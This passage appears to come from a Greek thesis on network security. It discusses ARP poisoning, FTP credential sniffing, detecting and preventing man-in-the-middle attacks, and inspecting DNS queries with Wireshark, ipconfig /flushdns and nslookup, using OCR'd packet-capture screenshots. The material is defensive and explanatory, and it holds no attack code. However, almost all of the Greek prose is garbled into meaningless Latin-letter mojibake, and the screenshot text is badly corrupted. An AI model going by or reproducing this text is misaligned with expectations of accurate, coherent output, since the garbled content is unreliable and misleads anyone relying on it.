dovAeld tov ARP, 10 omoio mpaypatikd onpaiver Ilpotokodro Avédivong Atevbuvong
(Address Resolution Protocol) (Villanueva, 2022).

Thv pmopel va o€l évag sniffer oe pua ovovogon FTP;

Opiopévol aviyventés mMOKETOV Umopovv va mpaypotomomcovv ARP  poisoning mpv
aviyvevoovv T ovvdeon. Otav ektedeitan o pa ohvoeon 6mwg to FTP, n onolo amoostéddet
TANPOPOpPieg 6€ OMAO KEIUEVO, O AVIYVELTNG TAKETMV UTOPEL Vo, EMTPEYEL GTOV E1IGPOAEN Vo
dgl mpAypaTo OV Ogv EMPEME VA OEL, Yo TOPASELYHO, OVOUOTO YPNOTH KOl KMOTKOVG
npocPaonc (Villanueva, 2022).

Mo va arotpéyovpe évav aviyveuty| makétov va ‘PAETEL o OVOpOTA YPNOTN KOl TOVG
KOOWKOUG TPOCPACNG TOV YPNOTOV GOG EVM TPOYUOTOTOOVV HETOQOPE apyeiwv, sivat
TPOTILOTEPO VA ypnoonomBovy kpurroypaenuéva tpwtokoira FTP 6nwg FTPS v SFTP
avii yw kavoviké FTP. Avtd 1o 0600 mpomtOKOAAO 0aCQOAOVS UETOPOPAS OpyEi®V
KPLTTOYPAPOVV TIC TANPOPOPIES TOV AmOGTEALOVTAL, KADoTOVTAG TIG UN avoyvootpes. Téco
ol ovvoéaelg FTPS 600 kot o1 cuvdéselc SFTP eivan akatoavonteg dtav mpofailovion og
gvav aviyveutn makétov. Me avtd tov Tpomo, Evag etePforéag dev Bo pmopohoe Vo avaKTGEL
ovopata ypnot kKot kwdikovg tpdcsPacng (Villanueva, 2022).

(Evotnta 5.1.I') Avixvevon pag eaiBeong Man-in-the-Middle

O evtomiopog g eniBeong Man-in-the-Middle pumopei va givarl dOckorog ywpic va Anedodv
ol KaTaAAAeg evépyetec. Edv dev avalntovpe evepyd Yoo vo SOMICTOCOVLUE EQV Ol
EMKOWOVIEC pog £yovv vokAamel, po enibeon Man-in-the-Middle pmopei evéeyopévac vo
TEPAGEL ATOPATPNTN HEYPL VA Etvar TOAD apyd. O EAeyyOC Y10 TOV GOGTO EAEYYO TAVTOTNTOG
ceMOOG Kol M eQapuroyn Kdmowov €idovg aviyvevong mapaPioong eivar cuvinbme ot facikég
puébodotl ywu tov evtomopd mbovhg emibeong, oAAG 0VTEC Ol OladKaoieg evoéyeTanl vo
amoLTOVV EMMALOV EYKANUATOAOYIKT avaivon ek Tov votépav (Rapid7, n.d).

Etvatl onuovtkd va Aappavete mpoinntikd pétpa yio v anotpony enbécewv MITM npv
ekOnAmOovV, avti va tpoorabeite va Tic evtonicete vd cupPaivovv evepyd (Rapid7, n.d).

Mepd and to onpudadia Tov delyvouy 4Tl UTopEl VoL VITAPYOVY EMTAEOV OKPOATEG GTOL SIKTLA
oG €ival ol ampocdOKNTEG 1/Kol EMAVOAUUPOVOUEVES ATOGLVOEGELS, OTOL Ol €1GPOAEIS
amocLVOE0LV Pl TOVS XPNOTES, MGTE VO LTOPOVV VO VTTOKAEYOLV TO OVOLLOL YPT|OTH KAl TOV
Kodwd mpdsPaocng 6tav o ypnoms mpoonabel va emavacvvdebel. TlapakorovBmvtag yio
amPOGOOKNTEG N EMOVOAUUPAVOLEVEG OTOGLVOEGELS, UTOPEITE VO EVIOMIGETE TPOANTTIKA
avtv v dvvntikd emkivouvn ocvumeppopd. Ilapdéeveg odevbivoelg ot ypopun
d1evBHvee®V oL TPOYPAUIATOG TEPUYNONG GOC, amotelel Eva akdpa onuadt. Eqv kdatt ot
devBvvon eaivetor mepiepyo, £6Tm Kot Atyo, Kahd Ba gival va yivel kdmolog emavéreyyos. Oa
umopovoe va givar proe DNS hijack. T mopadetypa, PAEmovpe https:\\www.goOgle.com avrti
v https:\\www.google.com. Télog, n cOvdeon oe dnuodcto W/kar un aoporés Wi-Fi. Oa
npénel av elpoote eopeTikd TPOGEKTIKOL oTa diKTLO. GTOL OTOiL GLUVOEOUOOTE KOl VO
amopevyovpe dnuocto Wi-Fi 660 givar dvvatov. Ot eigfoleic dnpovpyodv yedtika diktoa

55



LE YVOOTE avoyvmploTIkKd OT®G "Tomikd dwpedy acvpUaTo” 1 KEmolo GAA0 Koo Gvopo. yio
va e€amatnoovy Tovg avBpdmovg vo cuvdedovv. Eqv ocuvdebeite oto Wi-Fi tov eicforéa,
uwopovv gvKoAl Vo, dovv OAa 6ca 6TéAvVETE 6To diktvo (Petters, 2020).

(Evotnta 5.1.A) BeAtwoteg mmpaktikeg yia v mpoAnywn embeoewv Man-in-the-
Middle

H woyvpn xpumtoypdenon WEP/WAP ce onueio mpocPaocng. H dmapén evog 1oyvpov
UNYoVIcHoD  KPLTTOYpAeNoNG o€  onueid  acVpHatnG  TPOGROCNS  OMOTPEMEL  TOVG
avemBvumTovg ¥pnoteg omd to0 vo cuvoefodv oto dikTLd poc. ‘Evag addvapog punyoviopog
KpuIToYphenong unopel va emtpéyel o Evav eicPoAiéa va gioParel pe brute-force oe éva
diktvo kot vo. apyioel po Man-in-the-Middle attack. Oco 1oyvpdTEPN €ivar N EQapUoYn TG
KPLTTOYpAeNoNG, 1000 MO oac@ainc. Emmiéov, ta 1oyvpd JSwmictevTipl GCOUVOESTG
dpoporoynty, eivar onuovtikd vo Befoiwbodpe ti n poemleyuévn ovvoeot dpoporoynT
pag €xet aAlaéetl. Oyt povo o kwdkodg mpocPacng Wi-Fi, aAld o dtomotentiplo. cUVOESNC
Tov Opoporoynty pog. Edv évac ewoPoréag Pper ta dwmiotevtipla oHVOEONG TOL
dpoporoynt) pog, umopel va aAra&el tovg olakopotés DNS o kokdfoviovg dtakoioTég 1
KOO XEPOTEPQ, VO LOADVOLUE TOV dpoporoynt pog pe kakdpfovio Aoyiopkd (Rapid7,
n.d).

Ta VPN pmopovv va ypnoyomombovv yia ) onpovpyia evog acs@ariovg tepiBAiiovtog yio
evaicOntec mAnpoopieg oe €va TOMIKO 61KTVLO. XPNOUOTOOVY KPLTTOYPAPN O POCIGUEVN
o€ KAEWL Yo v ONUIOVPYNOOLY €V VTTOSIKTLO Ylo. AGPOAN emKowwvia. Me avtdv Tov
TPOTO, aKOMO Kl av £Vog EIGPOAENG TOYEL VO UlteL o€ £val KovdypnoTo dikTtvo, dev Bo pmopet
va. amokpurtoypaenoel v kivnon oto VPN. Emmpocbétwg, to HTTPS pmopei va
ypnoorombet yioo v aceoAn emkowowvia péco HTTP ypnowomowdvioag oavtodioyr
ONUOGIOV-O1OTIKOV KAEW10V. AVTO amoTpEnel évav €10PoAEN Omd OTOONTOTE YPNOT TOV
dedopévov mov umopel va popilet. Ot wotodTomol Ba mpémetl va ypnoyomotovv povo HTTPS
Kol vo unv mopéyovv evariaktikég Avoelg HTTP. O yprioteg pmopovv vo €yKOTOGTHGOVV
TPOoGONKeS TPOYPAULOTOG TEPYNONG Yo Vo emPBdAlovy whvta ypnoonowwviag HTTPS og
artiuozo (Rapid7, n.d).

Télog, ou embécelg Man-in-the-Middle cvvibmg mepihapupavovy mlactoypdonon kdtt M
dAro. O éheyyog Towtdtrog mov Paciletanr oe (edyog dnpocov kKAWL, dnwg t0 RSA,
pmopet va ypnowomonfel oe ddpopa emineda g otoifag yuo va dcaliotel €dv Ta
TPAyUaTo. LE TO omoio emkowvwveite eivor mpoypatikd avtd pe to omoia Oélete va
emkowvovioete (Rapid7, n.d).
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5.2 DNS Monitoring

To DNS monitoring ivot 1 dtodikacio Tov yivetal Yo Tn dlyeipion Kot T SGPIAIon TG
ACQAAELNG TNG EMKOWVOVIOG HETOED TWV YPNOTOV TOV TPOYPAUUOTOS TEPMYNONG KOl TOV
16TOTOTTAOV 1] KOl TOV VANPESIOV 7OV ¥pnotpomoovv. Eite | etarpeia cag eivor vrevbovn ya
) daxeipion evog N TOAA®VY TopEWV 16TOTOTTMV, 1 TopakolovOnon DNS pmopet va fondnoet
ot ypnyopn odyvaoon toxdv mpoPAnudTov, otnv mpdANYN GTOXELVUEVOV EMBECEMY KOl
oToV €0UKOAO €VTOTICUO TLYOV TopaPlice®V ac@POAEiog 7OV €VOEYETAL VO TPOKVYOLV
(Pagerduty, n.d.).

H amotehecpatikn] mapakoiotnon DNS cvvictator 6tov ToKTIKO EAEYYO TOV EYYPOPDV
DNS yia tox6v anpocddknteg ahloyég N EVIOMICUEVEG O10KOTEG Asttovpyiag (eite AOy® un
OVTOUATOV CQAANATOC €ite AOY®m hacker). Avtd emutpémel oty opddo oc@aAieiog vo
evtomilel ko va emAOEL Yp1yopa TVXOV CNTALOTO TTOV EVOEYXETAL VAL EXNPEACOVY OPVITIKA TOV
16TOTONO HOG N TNV ACPAAEW TOV YPNOTOV TOL Ypelaloviar TPOGPacn GTOV 16TOTOTO
(Pagerduty, n.d.).

[Mapaxdatw, TapatiBevror ot TpdTOL e ToVg omoiovg eAtpdpovpe ta TakéTo DNS kabmg kot
TG UTOPOVLLE VO TPOPAAOVLE TIG AETTOUEPELEG TOCO TMV TOKETMV ep®THHOTOG DNS 060 Kot
TOV TOKETOV amdKplong pésm tov Wireshark.

To Wireshark etvar éva epyokeio cOAAMYNG Kol avdAVONG TOKETOV OVOTYTOD KMOIKO.
[Mapéyer o Aemtopepn avélvon e otoifog TPOTOKOAAMY SIKTVOVL KOl O ENITPEMEL VO
QIATPAPOVLE TNV KLKAOPOPIN Yol TV OVTILETMOTION TPOPANUATOV SIKTVOV, VO, SIEPEVVOVLLE
ntpoto ac@AAElnG Kol va ovaAbovpe TP®MTOKOAAN diktvov. Emedn to Wireshark pog
EMTPENEL VO PAETOVLLE TIC AETTOUEPEIEG TOVL TOKETOL, UITOPEL Vo xpnolpomombel wg epyaieio
avayvopiong ya évay sicforéa (Techtarget, n.d.)

[Ipwv Eexvioel  kotaypapn TV TokEToOV, Oo Tpémel TpOTA vo. EMAEEOLUE Eva EvEPYO
KOVOAL Kot EEKIVALLE TNV KOTOYPOPT TOV TOKETWV.

I |
4 = ® RE ] =2 = =
| |___ a display filtes < Ctrl ']+
‘Welcome to Wireshark
Capture
..using this filter: | |E-':e-' re filter '] Allinterfaces shown ¥
Tomwn ouvdeon® 10
Tomwkn ouvdeon™ %
Tommkn ouvdeon™ 8
Wi-Fi — A b A s h "
Tomwn ouvdeon™ 2
Tomwn ouvdeon™ 1
Adapter for loopback traffic capture e
Ethernet
Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists 57

‘fou are running Wireshark 3.6.5 (v3.6.5-0-g2 1f79ddbefbd). You receive automatic updates.

Ewova 19: Start Wireshark and select an active interface



Ao mPOEMAOYN, TO TEPICCOTEPA AEITOVPYIKA GLGTAUATO ATOONKEVOVY TPOCWPIVA TIG
dtevBuvoelg 1P ko dhdeg eyypapés Xvotuatog Ovoudtov Topéa (DNS) mpoxeévoo va
EKTANPOGOVYV HEAAOVTIKG ouThpote mo ypnyopo. o mwopddetypo, Oty TANKTPOAOY®D
http://cs.uth.gr/ ot ypouun 81evOHVGEDY TOV TPOYPAUUATOS TEPIYNONE Y10 TPAOTN (POPA, TO
TPOYPOLLO TEPMYNONG TPETEL VO POTNGEL TOVG Olakoptotég DNS mov va Bpet Tov 16t0TOTO.
MoOMg €xel aVTEC TIC TANPOPOPIES, TO TPOYPAUUO TEPUYNONG Umopel va TiIg amodnkedoet
OTNV TOTIKN KPLON UVIAUN. XTN GUVEYELD, TNV ETOUEVN POPA OV B TANKTPOAOYNG® TN
dtevbuvon tov 16TdTOMTOV, TO TPOYPOULE TEPUYNONS Ba avalnToel TPMOTA TIG TANPOPOPIES
DNS omv tomkn kpuen pviun kot 8o pmopécel va Bpel tov wotdtomo mo ypnyopao. To
TpOPAnua  givor  OTL pepikéS @opég  emikivouveg devBivoelg TP 1 xoateotpappéva
OTOTEAECUOTOL LITOPOVV VO, ATT0ONKELTOVY GTIV TPOGMPIV LVTUT| Kol TPETEL VO opopeBovv.
H xpoen pviun DNS pmopel emiong va emmpedost v Kavottd 6o vo cuvoedeite oto
dwadiktvo N va TpokaAiésel dAha mpoPAnuata. Méow tng evtoAr ipconfig /flushdns ot
YPOUUY EVTOA®V, MOG EMTPEMOVYV Vo eMPAAAOLUE TN OldKaGio ekKaBAPIoNG AVTAG TNG
npocwpwig uhung (Fitzgerald, n.d.).

oft Windows [Version 16.0.1 6]
F poration. Me : aBe voplpou SikalwpaTog .

config/flushdns
Windows IP Configuration
Successfully flushed the DNS Resolwver Cache.

C:\Users\Mdayda>»

Ewdva 20: EvtoAn - ipconfig/flushdns
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H evtoAn nslookup vrofdAiel ep@TAUATO GTOVG SIAKOUITTES OVOUATOV TOUEN ALAOIKTOOV GE
dvo Aertovpyiec. H S1adpaoctikn Aettovpyion HoG €MITPENEL VO POTAUE TOVG OKOUICTEG
OVOULAT®V Y10 TANPOPOPIEG GYETIKA LE SIAPOPOVS KEVIPIKOVS VTOAOYIOTEG KOl TOUEIG 1 Vo
EKTUTAOVOLE ol AMOTO PE TOVG KEVTPIKOVG LTOAOYIOTEG Gg évav Topéa. H evtoAn nslookup
E1GEPYETAL G O1AOPAUCTIKY Agttovpyia 6tav dev divovtal opicpata 1 6TV TO TPAOTO OPIGHO
etvar - (ovpPoro mAnV) kat to devTEPO Oplopa gival TO GVOUO KEVIPIKOD LIOAOYIGTN N M
devBvvon Aadiktiov evdg dtakopiot) ovopdtwv. Otav dev divovtor opicpata, 1 €VIOAN
VIOPAAAEL EPAOTNUA GTOV TPOETIAEYUEVO dlaKooTh ovopdtmv (IBM, 2022).

Xe un dwdpaoTiKn Agttovpyio, To OVOUOTO KOt 01 {NTOVUEVES TANPOPOPIES EKTVTTMOVOVTOL Y10
évav kabBopiopévo kevipikd vmoroywot) 1 touéa. H evtodn nslookup ewcépyetar oe un
ddpaotikn Acttovpyion Otav divete to dvopo M TN d1evOVVOTN ASIKTOOL TOL KEVIPIKOV
vroAoyiot mov Ba avalnmbel o¢ 10 TpdTo Oplopa. To mpoapeTikd dgvTEPO OPIGUA
Kabopilel o Gvopo kKevpikod vToloylot M TN devbuven evig dakopoti ovoudtov (IBM,
2022).

[Minktporoyodvtag ot ypoupq eviohodv v eviodn nslookup, Oo eiwoélbovue oe éva
interactive mode, OnAadn o€ pia S10dpacTIKY AEtTOVPYiaL.

voplpou Sikaldpatoc.

C:\Users\Ma »nslookup
efault r: cspl.zte.com.cn
fddress: EES

Ewova 21: Enter interactive mode

Kafag e16éM0ovpe ot d10dpacTiky| Asttovpyia, 1 TpOTPOT OV pPavileTan pog emTpEnet
Vo €KOl00VE TOAAATAG EPMTAUOATO GTO OOKOUGTH. Mmopodue vo TANKTPOAOYGOVLE
Kkdmolo domain name ko vo AdBovpe TAnpogopieg YU avtd. Xe avt TV Tepintwon eueic Oa
YPNOWoTomoovpe T Otevbuvon v omoia ava@épope Kot Topomdve, onAadny Tnv
http://cs.uth.gr/
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vopipou &

Windows IP Configuration
ssfully flushed the DNS Resolver

ip
.Zte.com.cn

Ewova 22: Enter the domain name

21 GLVEKELN, TANKTPOAOYOVUE TNV EVTOAN exit ywo va e&éABovpe amd avtn T Asrtovpyio.
A@ov¥ g&EABove, oTapatdpe Kol TNV Kotaypoer] Takétov oto Wireshark. Metd ) dwokomn
G KATOYPOPNS, TOPATNPOVUE TNV Kivnon mov £yel Kotaypoeel oto mopddvpo TOL
Wireshark Packet List. Etodyovpe oav @idtpo to udp.port==53, ue ckomd vo. epueoaviotodyv
povo ta mokEta DNS.

A

4 @ HRE Re=2=ETL4I EQaQaE

[ |udp.p0rt==53 ']+
Time Source Destination Protocol  Length Info ~

6333 90.284043 fed@::1 feB@::619f:6e34:8cl.. DNS 387 Standard query response @x4635 A clien

6334 98.286142 feg@::1 feB@::619f:6e34:8cl.. DNS 399 Standard query response @xa84a AARA cl

6868 94.915959 feB@::619T:6e34:8cl.. fedB::1 DNS 152 Standard query @x@@@l PTR 1.0.8.0.0.8.1

6361 94.917344 feg@::1 feB@::619f:6e34:8cl.. DNS 239 Standard query response @x@@el PTR 1.8

6351 184.204121 fe8@::619f :6e34:8cl.. feB@::1 DNS 93 Standard query @x@@82 A www.cs.uth.gr

6882 184.232744 fed@::1 feB@::619f:6e34:8cl.. DNS 323 Standard query response @x@882 A www.c

6883 184.236596 feB@::619T:6e34:8cl.. fedB::1 DNS 93 Standard query @x@883 AAAA www.cs.uth.|

6354 184.265422 feg@::1 feB@::619f:6e34:8cl.. DNS 152 Standard query response @x@883 AAAA wiw w

£ >

Frame 6881: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface \Device\NPF_{4FCB429C-6F9C-48FD-AL
Ethernet II, Src: HonHaiPr_c1:85:23 (94:53:3@:c1:85:23), Dst: zte 27:8b:57 (aB:02:db:27:8b:57)

Internet Protocol Version 6, Src: fe8@::619f:6e34:8c1d:3c8d, Dst: fe88::1

User Datagram Protocol, Src Port: 51695, Dst Port: 53

Domain Name System (query)

£ >
ad 82 db 27 @b 57 94 53 3@ cl 85 23 86 dd 68 @9 WS @
24 2e 8@ 27 11 46 fe 88 60 60 88 80 88 @0 61 o9f 0@ a
2828 6e 34 8c 1d 3c 8d fe 80 ©° 00 00 0P 00 0P 6O B8 N4 rme wnnnnnnn
2830 ©9 00 00 08 00 @l c9 ef @9 35 @8 27 67 b9 @8 82 .- 5 'g
el @@ @@ el @@ oo 62 B2 @8 ee 83 77 77 77 B2 63 WINW
73 83 75 74 68 @82 67 72 @@ @@ 61 ee el s-uth-gr
O Ll wireshark_Wi-FiNASSL 1.pcapng Packets: 9559 - Displayed: 41 (0.4%%) - Dropped: 0 (0.0%:) || Profile: Default

Ewova 23: ®iAtpo udp.port==53
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Enidéyovpe 10 maxéto DNS 1o omoio mepiéyer to Standard query (epdtnuo) kot 10 A
www.cs.uth.gr ot otyin Info. 1o mapdbvpo Packet Details, mapatnpodue 611 owtd 10
nakéto €xet Ethernet 11, Tlpwtoéxoiro Internet 'Exdoon 6, [Ipwtokodio Asgdopévaov Xpnotn
(User Datagram Protocol) kat Xoomua Ovoudtov Topéa — Domain Name System (query).
EmumAéov, kavovtoc expand to Ethernet II yio va dodue TIc AeTTOUEPEIEG, TOPATNPOVUE TO
nedia TyNg (source) Kot Tpoopiopov (destination).

I |
dnce IBRBRRes=FsEEaaan
| |ud|:|.|:|ort==53 a v]+
Time Source Destination Protocol  Length Info ~
6333 908.254045 fega::1 feB@::619f:6e34:8cl.. DNS 387 Standard query response @x4635 A clien
6334 908.286142 fed@::1 fed@::619f:6e34:8cl.. DNS 399 Standard query response @xaS4a AARA cl
6868 94.915959 feB8@::619T:6e34:8cl.. fed@::1 DNS 152 Standard query @x@@@l PTR 1.8.8.0.8.8.1
6861 94.917344 fega::1 feB@::619f:6e34:8cl.. DNS 239 Standard query response @x@@@l PTR 1.8
6881 184.204121 fe8@::619f:6e34:8cl.. TedB::1 DNS 93 Standard query @x@@82 A www.cs.uth.gr
6382 184.232744 fega::1 feB@::619f:6e34:8cl.. DNS 323 Standard query response @x8882 A www.c!
6883 184.236596 feB8@::619T:6e34:8cl.. fed@::1 DNS 93 Standard query @x8@883 AAAA www.cCs.uth.|
6384 184.265422 fega::1 feB@::619f:6e34:8cl.. DNS 152 Standard query response @x82883 AAAA wwi w
£ >
v Ethernet II, Src: HonHaiPr c1:85:23 (94:53:3@:c1:85:23), Dst: zte_27:8b:57 (a8:82:db:27:8b:57) ~
v Destination: zte_27:8b:57 (a8:82:db:27:8b:57)
Address: zte_27:8b:57 (a8:82:db:27:8b:57)
caB. siis iss waaws wa.. = LG bit: Globally unigque address (factory default)
....... B .iis vies wews wa.. = IG bit: Individual address (unicast)
¥ Spurce: HonHaiPr c1:85:23 (94:53:3@:c1:85:23)
Address: HonHaiPr_c1:85:23 (94:53:38:c1:85:23)
caB. siis iss waaws wa.. = LG bit: Globally unigque address (factory default)
....... B .iis vies wews wa.. = IG bit: Individual address (unicast)
Type: IPvE (@x36dd) w
£ >
ad 82 db 27 @b 57 94 53 3@ cl 85 23 36 dd 6@ @9 WS e #
24 2e 8@ 27 11 48 fe 3@ 00 @0 20 @2 @@ @0 61 9f $.--@ a
Ge 34 8c 1d 3c 8d fe 8@ @0 @0 20 @0 00 @0 0@ 00 nd. <
G030 @0 00 20 @2 @@ 01 c9 ef @@ 35 @@ 27 67 b9 @8 82 5'g

0 td wireshark_Wi-FiNASSL 1.pcapng Packets: 9559 - Displayed: 41 (0.4%%) - Dropped: 0 (0.0%)

Ewkova 24: Expand Ethernet I

Profile: Default

[Mapatnpodpue, Aowmdv, ) dievbuvon mpoérevong, source MAC address, n omoia oyetiCeton
ue o NIC (Network Interface Card) tov vmoloyiotr, eved m destination MAC address
oyetileton pe v TPoemAEYUEVT TOAT. Xe avTO TO onueio, o mpémel va yvopilovue OTL GV
vrapyel Tomikog olakomotng DNS, n 61evbvvon MAC mpoopiopod Ba givar 1 dievbuvon
MAC tov tomikob dwkopoti) DNS.

Edv avartdovpe to Internet Protocol Version 6, Oa moapatnpicovpe t1g dievbvvoeig IPvo
TPOEAELGNG KOl TPOOPIGUOV AVTIGTOLYO.
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http://www.cs.uth.gr/

A viF - O X
Am @ QR &= 152 aaaw
L] |udp.port==53 [X] -]+
Time Source Destination Protocol  Length Info ~
6333 98.254848 fege::1 fe8@::619f:6e34:8cl.. DNS 387 Standard query response @x4635 A clien
6334 98.286142 fege::1 fe8@::619f:6e34:8cl.. DNS 399 Standard query response @xaB4a AAAA cli
686@ 94.915959 fe8@::6197:6e34:8cl.. fedd::1 DNS 152 standard query @x@@@l PTR 1.8.0.8.0.8.(
6861 94.917344 fege::1 fe8@::619f:6e34:8cl.. DNS 239 Standard query response @x@8@1 PTR 1.@
6381 1@4.284121 fed@::619f:6e34:8cl.. TeBd::1 DNS 93 Standard query @x@@82 A www.cs.uth.gr
6832 184.232744 fege::1 fe8@::619f:6e34:8cl.. DNS 323 standard query response @x@@82 A www.c! v
L4 >
~

Type: IPvE (@x36dd)
v Internet Protocol Version 6,
8118 .... = Version: 6

Payload Length: 39
Next Header: UDP (17)
Hop Limit: 64

Src: Te8@::619T:6e34:8cld:3c8d, Dst: fed8@::1

= Traffic Class: @x@e (DSCP: (5@, ECN:

NOt-ECT)

. = Differentiated Services Codepoint: Default (@)
[ . = Explicit Congestion Notification: Not ECN-Capable Transport (@)
.. 1881 eale @18e @91@ 1118 = Flow Label: @x9242e

Source Address: fe8@::619f:6e34:8cld:3cad

Destination Address: fed@::1 v
L T e T Come Mamda CI1EAC Mo+ MNeemd 02
< >
ad 82 db 27 @b 57 94 53 3@ cl B85 23 86 dd 60 @9 ~
24 2e 8@ 27 11 48 fe 30 00 00 @0 00 08 @8 61 9f
Ge 34 8c 1d 3c 8d fe 80 €0 B2 00 80 B2 00 80 B
7 @9 60 B0 80 89 81 c9 T @8 35 88 27 67 b9 @8 62
v

0 > wireshark_Wi-FiNASSL 1.pcapng

Packets: 9559 - Displayed: 41 (0.4%:) - Dropped: 0 {0.0%)

Ewkova 25: Expand Internet Protocol Version 6

Profile: Default

Onwg avagépape ko mapomdve pe 11 MAC Address, étot k1 €dm, 1 OevOvvon IP
nmpoéievong ovoyetiCetan pe to NIC otov vmoioyiom kot n devbuvon IP mpoopiopov
oyetileTon pe TV TPOEMAEYUEVT] TOAN.

Avantoccovtag topa 1o User Datagram Protocol, Ba mapatnpricovpe tic 00peg mpoéievong

4
KOl TPOOPIGUOV.
oA viF - ] >
FL ® B ] &=
L] |udu.port==53 [X] - +
Time Source Destination Protocol  Length Info A
6333 9@.234048 feB@::1 Te8e::619T:6e34:8cl.. DNS 387 Standard query response @x4635 A clien
6334 08.286142 feB@::1 Te8@::619T:6234:8cl.. DNS 399 Standard query response 8xa84a AAAA cl|
6860 94.915959 Te80::619T:6e34:8cl.. feBB::1 DNS 152 Standard query @x@8@l PTR 1.8.8.8.8.8.1
6861 94.917344 fe8@::1 fe8@::619F:6e34:8cl.. DNS 239 Standard query response @x8eel PTR 1.8
6BE1 184.204121 feBd::619f:6e34:8cl.. feBO:: DNS 93 Standard query @x@ee2 A ww.cs.uth.gr
6852 184.232744 fesd::1 fese::6197:6e34:8cL. DNS 323 Standard query response @x@@82 A www.c:
6333 184.236596 Te8@::619T:6e34:8cl.. feBl::l DNS 93 Standard query @xB8@3 AAAA www.cs.uth.)
6834 184.265422 feB@::1 Te8e::619F:6e34:8cl.. DNS 152 Standard query response @x@0@83 AAAA wwi =
£ >
¥ User Datagram Protocel, Src Port: 51695, Dst Port: 53 -
Source Port: 51695
Destination Port: 53
Length: 39
Checksum: @x67b8 [unverified]
[Checksum Status: Unverified]
[Stream index: 46]
[Timestamps]
UDP payload (31 bytes)
Domain Name System (query) w
< >
a8 82 db 27 @b 57 94 53 38 cl 85 23 86 dd 6@ 89 -
24 2 @@ 27 11 48 fe 5@ @@ 22 o2 a2 2@ @@ ol 9f
62 34 8c 1d 3c 8d fe 8@ @@ 22 o2 @2 22 @2 22 20
B0 0P @3 80 @8 81 co ef @@ 35 @8 27 67 b9 88 82
w

62

° it wireshark_Wi-FiNASSL 1.pcapng

Packets: 9559 - Displayed: 41 (0.4%) - Dropped: 0 {0.0%)

Ewkova 26: Expand User Datagram Protocol

Profile: Default



2y mopandve eidéva mapatnpovpe 6t 0 apliuog e Bupag mpoéievong eivar 51695 (Src
Port: 21695), evdd o apBudg g Bvpag mpoopiopov eivar 53 (Dst Port: 53) mov amotehel ko

TOV TPOEMAEYUEVO aptBpd g B0pag DNS.

AV YpPNOLOTOGOVE GTN YPOUUY EVIOA®DV TIG EVTOAEC arp —a ko ipconfig/all, pmopovue

va Bpovue v IP kot t MAC address tov vroAoyioth pog.

ng Enabled. . . . . . . . : No
Enabled. . . . . . . . : No

lireless LAN adapter Tomikr gov

Media
Conne

ct Virtual Adapter

rect Virtual Adapter #2

Ewova 27: IP & MAC address

Av mopatnpricovpe kaAvtepa, Bo dovpe 6tL 1 IP ko MAC address tov vroAoyiot pog eivot

101eg pe auTég mov KoTaypaenkoy kol oto Wireshark.

Ev ovveyeia, Oa kdvoupe expand kot 1o tedevtaio kopupdtt, onAadn to Domain Name System

(query) oto Packet Details.

I
® RBEte=z=7oE[Eaaan
[ |udp.port==53 |+
No. Time Source Destination Protocol  Length Info A
6881 104.204121  fe8@::619f:6e34:8cl.. fedo::1 DNS 93 Standard query ©x8882 A www.cs.uth.gr
6882 104.232744  fes@::l fe80::619F:6e34:8c1.. DNS 323 Standard query response @x8082 A www.cs.uth.gr CNAM -
< >
“ Domain Name System (query) ~
Transaction ID: @x@@02
v Flags: @xplee Standard query
.. = Response: Message is a query
.. = Opcode: Standard query (@)
.. = Truncated: Message is not truncated
1 .... .... = Recursion desired: Do query recursively
. .B.. .... =Z: reserved (8)
veet wees 2..@ ... = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
v Queries
™ www.cs.uth.gr: type A, class IN
Name: www.cs.uth.gr
[Mame Length: 13]
[Label Count: 4]
Type: A (Host Address) (1)
Class: IN (@x@8081)

Response In: 6382 v
< >
2088 as @2 db 27 @b 57 94 53 3@ cl 85 23 86 dd 68 B9 TWS @@ ~

v
@ 7 ptusiakh.peapng Packets: 9559 - Displayed: 41 (0.4%) Profie: Default

Ewkova 28: Flags and Queries
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Enekteivovtog oto Domain Name System, ta flags kot Tt queries, mapatnpovpe 6t to flag
&xel puOotel va kdvel To query (EpMTNUA) OVASPOUIKA, ONAAOT VO KAVEL EPATNON Yo TNV
IP address g d1evbvvong www.uth.gr.

AxoAo0BmG, Oa dovpe Kot To ATOTEAECUATO Y0 TO OvVTIGTOLYO TaKETO amokpiong DNS. T
va 10 avayvopicovpe Ba €yl v évoelln “query response 0x0002 A www.uth.gr”. Oa
kavovpe kot €dm expand Domain Name System (query) oto Packet Details, kot petd Oa
kévovpe expand ta Flags, ta Queries avtictoyo kKabd¢ kot to. Answers Gg OvTH TNV
nepinToon.

|
Am:® R&= 1EEaaan
| ‘udp.port==53 [3 ']+
Ma, Time Source Destination Protocol  Length Info ~
2318 B@.377247 Tedh::6197:6e34:8cl.. fedd::1 DHS 183 Standard query @xa5a8 AAAA scorecard.api.mywot.com
3625 82.139531 fedB::1 fedl::619f:6e34:8cl.. DNS 188 Standard query response @xaSa8 AAAA scorecard.api.m
6331 98.255765 fed@::619f:6e34:8c1.. TeBl::1 DHS 99 Standard query @x4635 A clients4.google.com
6332 90.256136 feBB::619f:6e34:8cl.. fedB::1 DNS 99 Standard query @xa34a AAAA clients4.google.com
6333 90.284848 fes@::1 fe8@: :619T:6e34: 8cl.. DNS 387 Standard query response 8x4635 A clients4.google.ca
6334 90.236142 fedB::1 fedl::619f:6e34:8cl.. DNS 399 Standard query response @xa34a AAAA clients4.google
686@ 94.915959 TeBd::6197:6e34:8cl.. Te8d::1 DS 152 Standard query @x8661 PTR 1.8.0.0.0.0.8.0.06.06.0.0.4
6361 94.917344 fedB::1 fedl::619f:6e34:8cl.. DNS 239 Standard query response @x@@@1 PTR 1.0.0.0.0.0.9.0.
I 6831 164.284121 fed@::619f:6e34:8c1.. TeBl::1 DHS 93 Standard query 8x8882 A www.cs.uth.gr
6882 184.232744 fe8B::1 fe8@::619T:6e34:8cl.. DNS 323 Standard query response @x@@82 A www.cs.uth.gr CNAM
6883 184.236596 fed@::619f:6e34:8c1.. TeBl::1 DHS 93 Standard query @x@883 AAAA www.cs.uth.gr
6884 184,265422 fegd::1 fedl::619f:6e34:8cl.. DNS 152 Standard query response @x@@83 AAAA www.cs.uth.gr C "
£ >

Frame 6882: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits) on interface \Device\NPF_{4FCB429C-6F9C-48FD-AD54-ABAFB24FB:
Ethernet II, Src: zte 27:0b:57 (a8:02:db:27:8b:57), Dst: HonHaiPr c1:85:23 (94:53:30:c1:85:23)
